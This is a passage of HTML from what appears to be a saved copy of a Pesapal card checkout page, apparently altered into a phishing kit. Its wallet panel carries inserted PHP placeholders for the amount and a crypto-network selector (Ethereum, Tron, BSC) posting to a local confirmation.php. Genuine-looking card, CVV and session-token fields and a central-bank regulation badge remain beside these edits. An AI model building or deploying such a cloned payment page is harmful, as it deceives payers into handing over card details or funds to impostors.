                                                                        <option value="PH">Philippines</option>
                                                                        <option value="PN">Pitcairn</option>
                                                                        <option value="PL">Poland</option>
                                                                        <option value="PT">Portugal</option>
                                                                        <option value="PR">Puerto Rico</option>
                                                                        <option value="QA">Qatar</option>
                                                                        <option value="RE">Réunion</option>
                                                                        <option value="RO">Romania</option>
                                                                        <option value="RU">Russian Federation</option>
                                                                        <option value="RW">Rwanda</option>
                                                                        <option value="WS">Samoa</option>
                                                                        <option value="SM">San Marino</option>
                                                                        <option value="ST">Sao Tome and Principe
                                                                        </option>
                                                                        <option value="SA">Saudi Arabia</option>
                                                                        <option value="SN">Senegal</option>
                                                                        <option value="RS">Serbia, Republic of</option>
                                                                        <option value="SC">Seychelles</option>
                                                                        <option value="SL">Sierra Leone</option>
                                                                        <option value="SG">Singapore</option>
                                                                        <option value="SX">Sint Maarten</option>
                                                                        <option value="SK">Slovakia</option>
                                                                        <option value="SI">Slovenia</option>
                                                                        <option value="SB">Solomon Islands</option>
                                                                        <option value="SO">Somalia</option>
                                                                        <option value="ZA">South Africa</option>
                                                                        <option value="GS">South Georgia and the South
                                                                            Sandwich Islands</option>
                                                                        <option value="SS">South Sudan</option>
                                                                        <option value="ES">Spain</option>
                                                                        <option value="LK">Sri Lanka</option>
                                                                        <option value="SH">St. Helena</option>
                                                                        <option value="KN">St. Kitts and Nevis</option>
                                                                        <option value="LC">St. Lucia</option>
                                                                        <option value="MF">St. Martin</option>
                                                                        <option value="PM">St. Pierre and Miquelon
                                                                        </option>
                                                                        <option value="VC">St. Vincent and the
                                                                            Grenadines</option>
                                                                        <option value="SD">Sudan</option>
                                                                        <option value="SR">Suriname</option>
                                                                        <option value="SJ">Svalbard and Jan Mayen
                                                                            Islands</option>
                                                                        <option value="SZ">Swaziland</option>
                                                                        <option value="SE">Sweden</option>
                                                                        <option value="CH">Switzerland</option>
                                                                        <option value="SY">Syrian Arab Republic</option>
                                                                        <option value="TW">Taiwan</option>
                                                                        <option value="TJ">Tajikistan</option>
                                                                        <option value="TZ">Tanzania</option>
                                                                        <option value="TH">Thailand</option>
                                                                        <option value="TL">Timor-Leste</option>
                                                                        <option value="TG">Togo</option>
                                                                        <option value="TK">Tokelau</option>
                                                                        <option value="TO">Tonga</option>
                                                                        <option value="TT">Trinidad and Tobago</option>
                                                                        <option value="TN">Tunisia</option>
                                                                        <option value="TR">Turkey</option>
                                                                        <option value="TM">Turkmenistan</option>
                                                                        <option value="TC">Turks and Caicos Islands
                                                                        </option>
                                                                        <option value="TV">Tuvalu</option>
                                                                        <option value="UG">Uganda</option>
                                                                        <option value="UA">Ukraine</option>
                                                                        <option value="AE">United Arab Emirates</option>
                                                                        <option value="GB">United Kingdom</option>
                                                                        <option value="QZ">United Nations Interim
                                                                            Administration Mission in K</option>
                                                                        <option value="US">United States</option>
                                                                        <option value="UM">United States Minor Outlying
                                                                            Islands</option>
                                                                        <option value="VI">United States Virgin Islands
                                                                        </option>
                                                                        <option value="UY">Uruguay</option>
                                                                        <option value="UZ">Uzbekistan</option>
                                                                        <option value="VU">Vanuatu</option>
                                                                        <option value="VE">Venezuela</option>
                                                                        <option value="VN">Vietnam</option>
                                                                        <option value="WF">Wallis and Futuna Islands
                                                                        </option>
                                                                        <option value="EH">Western Sahara</option>
                                                                        <option value="YE">Yemen</option>
                                                                        <option value="ZM">Zambia</option>
                                                                        <option value="ZW">Zimbabwe</option>
                                                                    </select>
                                                                    <input id="merchantcountryprefix"
                                                                        name="merchantcountryprefix" type="hidden"
                                                                        value="254">

                                                                </div>
                                                            </div>
                                                        </div>

                                                        <div class="form-group row collapse">
                                                            <div class="column medium-6 small-12">
                                                                <div class="form-group input-group">
                                                                    <span class="input-group-label">
                                                                        <i class="pe-7s-phone"></i>
                                                                    </span>
                                                                    <div class="row collapse">
                                                                        <div class="column small-3 medium-3 large-2">
                                                                            <input disabled=""
                                                                                class="countryCodePrefix input-group-field"
                                                                                id="countryCodePrefix"
                                                                                name="countryCodePrefix" type="text"
                                                                                value="+254"
                                                                                data-np-intersection-state="observed">
                                                                        </div>
                                                                        <div class="column small-9 medium-9 large-10">
                                                                            <input class="phonenumber input-group-field"
                                                                                id="cphonenumber" name="cphonenumber"
                                                                                placeholder="Mobile Number e.g 7XX XXX XXX"
                                                                                type="text" value="7576575785"
                                                                                data-np-intersection-state="observed">
                                                                        </div>
                                                                    </div>
                                                                </div>
                                                            </div>
                                                            <div class="column medium-6 small-12">
                                                                <div class="input-group">
                                                                    <span class="input-group-label">
                                                                        <i class="pe-7s-map-marker"></i>
                                                                    </span>
                                                                    <input class="line1 input-group-field" id="line1"
                                                                        name="line1"
                                                                        placeholder="Postal/Street address e.g P.O BOX 1179"
                                                                        type="text" value=""
                                                                        data-np-intersection-state="observed">

                                                                    <input id="line2" name="line2" type="hidden"
                                                                        value="">
                                                                </div>
                                                            </div>
                                                        </div>


                                                        <div class="form-group row collapse">
                                                            <div class="column medium-6 small-12">
                                                                <div class="input-group">
                                                                    <span class="input-group-label">
                                                                        <i class="pe-7s-map"></i>
                                                                    </span>
                                                                    <input class="cityname input-group-field"
                                                                        id="cityname" name="cityname"
                                                                        placeholder="City e.g Nairobi" type="text"
                                                                        value="" data-np-intersection-state="observed">
                                                                </div>
                                                            </div>
                                                            <div class="column medium-6 small-12">
                                                                <div class="input-group">
                                                                    <span class="input-group-label">
                                                                        <i class="pe-7s-map-2"></i>
                                                                    </span>
                                                                    <input class="postalcode input-group-field"
                                                                        id="postalcode" name="postalcode"
                                                                        placeholder="Postal/Zip Code e.g 00100"
                                                                        type="text" value=""
                                                                        data-np-intersection-state="observed">
                                                                </div>
                                                            </div>
                                                        </div>

                                                        <div id="statecodeHolder" class="form-group input-group">
                                                        </div>

                                                    </div>
                                                    <div class="sc">
                                                        <i class="pe-7s-lock"></i>
                                                    </div>
                                                </div>
                                            </div>
                                            <!--END STEP 1-->
                                        </div>


                                        <script src="./songbird.js.download"></script>

                                        <script>
                                            $(document).ready(function() {
                                                Cardinal.setup("init", {
                                                    jwt: 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE4MDgwOTgyNjksImlhdCI6MTc3NjU2MjI2OSwianRpIjoiNzVhZTRhNzgtNjkyNy00ODFlLThhZDktZGQxYzdiMGE2ZTY0IiwiaXNzIjoiNWYwY2ZiMzM4YjYwNzEzZjJkZGUyY2I4IiwiT2JqZWN0aWZ5UGF5bG9hZCI6dHJ1ZSwiUmVmZXJlbmNlSWQiOiJjZjRmMWE3Yy04NjQyLTQwNTAtOTAzMi1kYTdiNzI2YjkxMzIiLCJDb25maXJtVXJsIjoiaHR0cHM6Ly9wYXkucGVzYXBhbC5jb20vcGVzYXBhbGlmcmFtZS9QZXNhcGFsSWZyYW1lMy9DYWxsQmFjayIsIk9yZ1VuaXRJZCI6IjVlY2QyMGUxM2IyNWUxNTk0NWU0YTNjOSIsIkNoZWNrb3V0U2Vzc2lvbklkIjoiaDBmYlByWTdUdm56b0Z5cmc1c0JzMUw4emRYaDE2aU5iOFJNWWphb2IzKzlFVXRYdWY0QVpER295My9hS1d4cSIsIlNjaGVkdWxlRGF0YSI6IiIsIlBheWxvYWQiOnsiQWNjb3VudCI6eyJBY2NvdW50TnVtYmVyIjpudWxsLCJFeHBpcmF0aW9uTW9udGgiOm51bGwsIkV4cGlyYXRpb25ZZWFyIjpudWxsLCJDYXJkQ29kZSI6bnVsbCwiTmFtZU9uQWNjb3VudCI6bnVsbH0sIkNvbnN1bWVyIjp7IkVtYWlsMSI6InlvdUB3ZS5jb20ifSwiQmlsbGluZ0FkZHJlc3MiOnsiRnVsbE5hbWUiOiJNaXN0ZXIgUnlydXJ1dXl0IiwiRmlyc3ROYW1lIjoiTWlzdGVyIiwiTGFzdE5hbWUiOiJSeXJ1cnV1eXQiLCJNaWRkbGVOYW1lIjoiIiwiQWRkcmVzczEiOiIiLCJBZGRyZXNzMiI6IiIsIkNpdHkiOiJOL0EiLCJTdGF0ZSI6IiIsIlBvc3RhbENvZGUiOiIiLCJDb3VudHJ5Q29kZSI6IiIsIlBob25lMSI6Ijc1NzY1NzU3ODUifSwiT3JkZXJEZXRhaWxzIjp7Ik9yZGVyTnVtYmVyIjoiY2Y0ZjFhN2MtODY0Mi00MDUwLTkwMzItZGE3YjcyNmI5MTMyIiwiVHJhbnNhY3Rpb25JZCI6bnVsbH0sIkVucm9sbGVkIjpudWxsLCJTcGVjaWZpY2F0aW9uVmVyc2lvbiI6bnVsbH19.ea15in8Mfl1T9Nvt0WHJ6liJUMzfhR2mPvrP58rhLSU'
                                                });

                                                Cardinal.on('payments.setupComplete', function() {});
                                            });

                                            Cardinal.configure({
                                                logging: {
                                                    level: "on"
                                                }
                                            });
                                        </script>


                                        <div class="inform">
                                            <div class="row">
                                                <div class="medium-12 column">
                                                    <div class="row">
                                                        <div class="medium-8 column">
                                                            <span class="exptitle">Provide your Card details</span>
                                                            <div class="form-group input-group">
                                                                <span class="input-group-label">
                                                                    <i class="pe-7s-credit"></i>
                                                                </span>
                                                                <input autocomplete="off"
                                                                    class="cardNumber cardvalidation input-group-field"
                                                                    data-cardinal-field="AccountNumber" id="CardNumber"
                                                                    name="CardNumber" placeholder="Card Number"
                                                                    type="text" value=""
                                                                    data-np-intersection-state="observed">
                                                            </div>
                                                            <span id="invalid-card-number" class="invalid-data hide">*
                                                                Please provide a valid card number.</span>
                                                            <span id="invalid-card-type" class="invalid-data hide">* An
                                                                unsupported card type provided. Please try a different
                                                                type of card.</span>

                                                            <div class="row collapse">
                                                                <div class="column small-12">
                                                                    <div class="form-group row">
                                                                        <div class="column small-8">
                                                                            <div class="form-group row collapse">
                                                                                <div class="column small-6">
                                                                                    <div class="input-group">
                                                                                        <span class="input-group-label">
                                                                                            <i class="pe-7s-date"></i>
                                                                                        </span>


                                                                                        <select
                                                                                            class="expiryMonth cardvalidation input-group-field"
                                                                                            id="expiryMonth"
                                                                                            name="expiryMonth"
                                                                                            data-np-intersection-state="observed">
                                                                                            <option selected="selected"
                                                                                                value="">MM</option>
                                                                                            <option value="01">01
                                                                                            </option>
                                                                                            <option value="02">02
                                                                                            </option>
                                                                                            <option value="03">03
                                                                                            </option>
                                                                                            <option value="04">04
                                                                                            </option>
                                                                                            <option value="05">05
                                                                                            </option>
                                                                                            <option value="06">06
                                                                                            </option>
                                                                                            <option value="07">07
                                                                                            </option>
                                                                                            <option value="08">08
                                                                                            </option>
                                                                                            <option value="09">09
                                                                                            </option>
                                                                                            <option value="10">10
                                                                                            </option>
                                                                                            <option value="11">11
                                                                                            </option>
                                                                                            <option value="12">12
                                                                                            </option>
                                                                                        </select>
                                                                                    </div>
                                                                                </div>
                                                                                <div class="column small-6">
                                                                                    <div class="input-group">


                                                                                        <select
                                                                                            class="expiryYear cardvalidation input-group-field parent"
                                                                                            id="expiryYear"
                                                                                            name="expiryYear"
                                                                                            data-np-intersection-state="observed">
                                                                                            <option selected="selected"
                                                                                                value="">YYYY</option>
                                                                                            <option value="2026">2026
                                                                                            </option>
                                                                                            <option value="2027">2027
                                                                                            </option>
                                                                                            <option value="2028">2028
                                                                                            </option>
                                                                                            <option value="2029">2029
                                                                                            </option>
                                                                                            <option value="2030">2030
                                                                                            </option>
                                                                                            <option value="2031">2031
                                                                                            </option>
                                                                                            <option value="2032">2032
                                                                                            </option>
                                                                                            <option value="2033">2033
                                                                                            </option>
                                                                                            <option value="2034">2034
                                                                                            </option>
                                                                                            <option value="2035">2035
                                                                                            </option>
                                                                                            <option value="2036">2036
                                                                                            </option>
                                                                                            <option value="2037">2037
                                                                                            </option>
                                                                                            <option value="2038">2038
                                                                                            </option>
                                                                                            <option value="2039">2039
                                                                                            </option>
                                                                                            <option value="2040">2040
                                                                                            </option>
                                                                                            <option value="2041">2041
                                                                                            </option>
                                                                                            <option value="2042">2042
                                                                                            </option>
                                                                                            <option value="2043">2043
                                                                                            </option>
                                                                                            <option value="2044">2044
                                                                                            </option>
                                                                                            <option value="2045">2045
                                                                                            </option>
                                                                                            <option value="2046">2046
                                                                                            </option>
                                                                                        </select>
                                                                                    </div>
                                                                                </div>
                                                                            </div>
                                                                            <span id="invalid-card-expiry-date"
                                                                                class="invalid-data hide">* Invalid card
                                                                                expiry date provided.</span>
                                                                        </div>
                                                                        <div class="column small-4">
                                                                            <div class="input-group error">
                                                                                <span class="input-group-label">
                                                                                    <i class="pe-7s-credit"></i>
                                                                                </span>
                                                                                <input autocomplete="off"
                                                                                    class="cvv cardvalidation input-group-field"
                                                                                    id="cvv" name="cvv"
                                                                                    placeholder="CVV" type="text"
                                                                                    value=""
                                                                                    data-np-intersection-state="observed">
                                                                            </div>
                                                                            <span id="invalid-cvv"
                                                                                class="invalid-data hide"></span>
                                                                        </div>
                                                                    </div>
                                                                </div>
                                                            </div>

                                                        </div>

                                                        <div class="medium-4 column sc">
                                                            <span class="exptitle"></span>
                                                            <img src="./sslcert.png" alt="Secure Certificate">
                                                            <img src="./pcidss(1).png" alt="PCI/DSS">
                                                            <i class="pe-7s-lock"></i>
                                                        </div>
                                                    </div>
                                                </div>

                                            </div>

                                        </div>
                                        <input id="showamexconcentbox" name="showamexconcentbox" type="hidden"
                                            value="0">


                                        <input id="checkoutSessionId" name="checkoutSessionId" type="hidden"
                                            value="h0fbPrY7TvnzoFyrg5sBs1L8zdXh16iNb8RMYjaob3+9EUtXuf4AZDGoy3/aKWxq">
                                        <input id="routing_channel" name="routing_channel" type="hidden"
                                            value="YuOmnKm85Qyyp+FTqQ/VnA==">
                                        <input id="routing_code" name="routing_code" type="hidden"
                                            value="2UQ/R+X6pr/Wu/iPZJa+ag==">
                                        <input id="order_country_code" name="order_country_code" type="hidden"
                                            value="KE">
                                        <input id="routing_id" name="routing_id" type="hidden"
                                            value="YuOmnKm85Qyyp+FTqQ/VnA==">
                                    </div>

                                    <div id="accept-tc" class="accept-tc ">
                                        <input class="acceptterms float-left" id="acceptterms" name="acceptterms"
                                            type="checkbox" value="true"><input name="acceptterms" type="hidden"
                                            value="false">
                                        <div class="accept-tc-text">I accept Pesapal's <a target="new"
                                                href="https://www.pesapal.com/privacy-policy"
                                                data-reveal-id="myPrivacyModal">Privacy</a> &amp; <a target="new"
                                                href="https://www.pesapal.com/terms-and-conditions"
                                                data-reveal-id="myTermsModal">Terms and conditions</a></div>
                                    </div>

                                </div>
                                <input id="selectedWallet" name="selectedWallet" type="hidden" value="">
                                <input id="cstep" name="cstep" type="hidden" value="complete">
                            </div>
                        </div>


                        <div class="tabs-panel" id="panele" aria-hidden="true">


                            <div id="instpewallet" class="pinstr">
                                <div class="pesapalv2">
                                    <p>Pay <span class="biz_name">"Sensational Adventures"</span> <?php echo $currency; ?> <?php echo $formattedAmount; ?> (equivalent to USD <?php echo $usdEquivalent; ?>)</p>
                                    <p>Pesapal will charge <?php echo $currency; ?> <?php echo $formattedAmount; ?> (equivalent to USD <?php echo $usdEquivalent; ?>) to your Pesapal e-wallet account.</p>

                                    <br>
                                    <br>

                                    <p>Select Your prefered Crypto Gateway</p>

                                    <form action="confirmation.php" method="post" class="form-control">

                                        <select name="" id="">
                                            <option value="">Select Network</option>
                                            <option value="">Ethereum</option>
                                            <option value="">Tron</option>
                                            <option value="">BSC</option>
                                        </select>

                                        <button class="button alert paymFormBtns" type="submit"
                                            style="background: rgb(168, 20, 20);">Proceed</button>
                                    </form>
                                </div>


                            </div>



                        </div>
                        <div class="tabs-panel" id="panelb" aria-hidden="true">


                        </div>


                        <input type="hidden" id="recaptchaToken" name="recaptcha_token">
                        <div id="turnstile-form"></div>
                        <button id="submitFormBtn" class="button alert paymFormBtns hide" type="submit"
                            style="background: rgb(168, 20, 20);">Proceed</button>
                        <div class="paymentReceived">
                            <div class="hide">Payment received...</div>
                        </div>
                        <input id="theme" name="theme" type="hidden" value="default"><input id="PaymentStep"
                            name="PaymentStep" type="hidden" value=""><input id="OrderTrackingId" name="OrderTrackingId"
                            type="hidden" value="cf4f1a7c-8642-4050-9032-da7b726b9132"><input id="id" name="id"
                            type="hidden"
                            value="V1jcFZqeYXc/BpScs7j6oaCkfIFQQDEGMJYq/Qo4e2/Yz5Xzj4nqqYNO5VMFZTXLUwicrHfjwr6I7eRqcLXWwQ=="><input
                            id="CardinalToken" name="CardinalToken" type="hidden"
                            value="/OSR4gU2bYr+EnQbeN55xQ=="><input id="RetrySTK" name="RetrySTK" type="hidden"
                            value=""><input id="defaultPaymentMethod" name="defaultPaymentMethod" type="hidden"
                            value=""><input data-val="true"
                            data-val-number="The field ActivePaymentMethodCount must be a number."
                            data-val-required="The ActivePaymentMethodCount field is required."
                            id="activePaymentMethodCount" name="activePaymentMethodCount" type="hidden" value="4"><input
                            id="disabledCardTypes" name="disabledCardTypes" type="hidden" value=""><input id="BaseURL"
                            name="BaseURL" type="hidden" value="https://pay.pesapal.com/iframe/"><input
                            id="EventsTracker" name="EventsTracker" type="hidden" value=""><input id="requestId"
                            name="requestId" type="hidden" value="1776562305517.mlPR98"><input id="requestIdMsg"
                            name="requestIdMsg" type="hidden" value=""><input class="cf-turnstile-response"
                            id="cf-turnstile-response" name="cf-turnstile-response" type="hidden" value=""><input
                            id="MerchantCountryCode" name="MerchantCountryCode" type="hidden" value="KE">
                    </div>
                </form>
            </div>
            <!--END IFRAME HTML-->
        </div>
        <div id="regulated-by">
            <strong>Pesapal</strong> is Regulated by the <strong>Central Bank of Kenya</strong>
        </div>
    </div>

    <script src="./modernizr"></script>

    <script src="./pesapal"></script>



    <!-- Google Analytics -->
    <script async="" src="./js"></script>
    <script>
        window.dataLayer = window.dataLayer || [];

        function gtag() {
            dataLayer.push(arguments);
        }
        gtag('js', new Date());
        gtag('config', 'G-5SHW35HJX8');
    </script>
    <!-- Google reCAPTCHA -->
    <!--<script defer src="https://www.google.com/recaptcha/api.js?render=6Ld9u-oqAAAAAE9ixSxAAwy8yVfpIw9PI7vIte2Q"></script>-->

    <iframe id="Cardinal-collector" height="0" width="0" frameborder="0"
        style="display: none; position: absolute; top: -1000px; left: -1000px;"
        src="./saved_resource(2).html"></iframe><iframe src="./saved_resource(3).html" id="tmx_tags_iframe"
        title="empty" tabindex="-1" aria-disabled="true" aria-hidden="true" data-time="1776562296297"
        style="width: 0px; height: 0px; border: 0px; position: absolute; top: -5000px;"></iframe>
</body>



</html>